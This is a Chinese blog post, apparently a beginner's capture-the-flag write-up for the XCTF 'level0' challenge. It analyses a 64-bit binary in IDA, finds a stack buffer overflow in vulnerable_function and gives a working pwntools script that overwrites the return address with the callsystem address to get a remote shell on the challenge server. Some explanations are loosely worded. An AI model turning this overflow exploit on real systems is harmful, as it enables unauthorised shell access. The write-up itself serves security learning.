攻防世界 level0 wp

本文详细介绍了如何使用IDA分析64位程序的安全漏洞,特别是针对一个存在缓冲区溢出的函数。通过分析程序特性如NX保护、PIE等,发现了一个可以利用的溢出点。接着,利用pythonpwn库构造payload,成功覆盖内存并指向系统调用,最终实现shell权限的获取。整个过程揭示了逆向工程和安全漏洞利用的基本步骤。
摘要由CSDN通过智能技术生成

纯新手教程 如有错误的地方 请各位大佬指出.

利用的主要工具
ida / olldly / Peil / python pwntools

level0
在这里插入图片描述

首先收集一下文件信息
64位程序

Arch: amd64-64-little 程序位数
RELRO:No Relro 开启无法修改got表
Stack: No canry found 开启则无法直接覆盖EIP让程序任意跳转,跳转后会进行cookie校验;但这项保护可以被绕过
NX开着(开启则shellcode无法被执行)
Pie: No pie(0x400000) 开启在每次程序运行地址都会变化,未开启则返回值括号内是程序的基址

然后将文件放入ida中进行查看
在这里插入图片描述

可以看到一个callsystem 和一个 vulnerable_function函数
在这里插入图片描述

打开vulnerable_function 按F5 进行反编译 可以看到 定义buf数组 长度0x80
下面
read
0 文件描述 默认0
&buf 为读出数据的缓冲区
0x200nll 为每次读取的字节数(是请求读取的字节数,读上来的数据保存在缓冲区buf中,同时文件的当前读写位置向后移)

所以限制了 buf的长度为80 但是 在读取的时候可以读取200字节的数据 就说明 存在溢出漏洞(覆盖掉前面80个字节 然后注入payload)
在这里插入图片描述

然后看到callsystem 是一个系统调用shell的权限.
可以将地址记录 然后进行指向.
在这里插入图片描述

然后回过头来看80buf
在这里插入图片描述

在这里插入图片描述

可以看到 在数组中还存在一个s 占用八个字符 所以覆盖的长度为 0x80 + 0x8

已知信息:
callsystem 调用 shell 位置 0x00400596
绕过长度 0x80 + 0x8

from pwn import *
👆调用python pwn库
r = remote(“220.249.52.133”,35488)
👆设置目标信息 remote(“address”,port)
payload = ‘A’*0x80 + ‘a’*0x8+p64(0x00400596)
👆构造payload A * 80 + a * 8 = 88 覆盖掉原本的数组 + p64(0x00400596)将溢出的地方指向系统调用shell的地址
r.recvuntil(“Hello, World\n”)
👆相当于接收到端口收集的信息 接收到\n,keepends指定保留\n
r.sendline(payload)
👆发送一行数据,相当于在末尾加\n
r.interactive()
👆与获取的shell进行交互

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

东仔.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值